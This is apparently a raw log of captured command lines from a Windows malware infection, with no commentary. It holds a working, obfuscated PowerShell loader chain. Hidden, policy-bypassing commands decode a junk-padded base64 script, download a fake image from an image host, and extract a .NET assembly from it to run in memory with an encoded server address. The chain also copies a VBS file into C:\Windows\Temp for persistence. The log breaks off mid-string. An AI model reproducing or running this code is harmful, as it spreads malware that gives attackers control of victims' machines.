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WKuQemdUcKDWKuQemdUcKwDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBnDWKuQemdUcKHQDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKrDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBGDWKuQemdUcKGwDWKuQemdUcKYQBnDWKuQemdUcKC4DWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKGIDWKuQemdUcKYQBzDWKuQemdUcKGUDWKuQemdUcKNgDWKuQemdUcK0DWKuQemdUcKEwDWKuQemdUcKZQBuDWKuQemdUcKGcDWKuQemdUcKdDWKuQemdUcKBoDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKPQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKcwB0DWKuQemdUcKGEDWKuQemdUcKcgB0DWKuQemdUcKEkDWKuQemdUcKbgBkDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKQwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBUDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKB0DWKuQemdUcKC4DWKuQemdUcKUwB1DWKuQemdUcKGIDWKuQemdUcKcwB0DWKuQemdUcKHIDWKuQemdUcKaQBuDWKuQemdUcKGcDWKuQemdUcKKDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKLDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKKQDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBCDWKuQemdUcKHkDWKuQemdUcKdDWKuQemdUcKBlDWKuQemdUcKHMDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcK9DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKWwBTDWKuQemdUcKHkDWKuQemdUcKcwB0DWKuQemdUcKGUDWKuQemdUcKbQDWKuQemdUcKuDWKuQemdUcKEMDWKuQemdUcKbwBuDWKuQemdUcKHYDWKuQem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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DWKuQemdUcK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe.jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LldTRy8wODA5LzQ1MS40Ni4zLjI5MS8vOnB0dGg=' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmd'))"
cmdline powershell.exe -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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QemdUcKwDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBnDWKuQemdUcKHQDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKrDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBGDWKuQemdUcKGwDWKuQemdUcKYQBnDWKuQemdUcKC4DWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKGIDWKuQemdUcKYQBzDWKuQemdUcKGUDWKuQemdUcKNgDWKuQemdUcK0DWKuQemdUcKEwDWKuQemdUcKZQBuDWKuQemdUcKGcDWKuQemdUcKdDWKuQemdUcKBoDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKPQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKcwB0DWKuQemdUcKGEDWKuQemdUcKcgB0DWKuQemdUcKEkDWKuQemdUcKbgBkDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKQwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBUDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKB0DWKuQemdUcKC4DWKuQemdUcKUwB1DWKuQemdUcKGIDWKuQemdUcKcwB0DWKuQemdUcKHIDWKuQemdUcKaQBuDWKuQemdUcKGcDWKuQemdUcKKDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKLDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKKQDWKuQe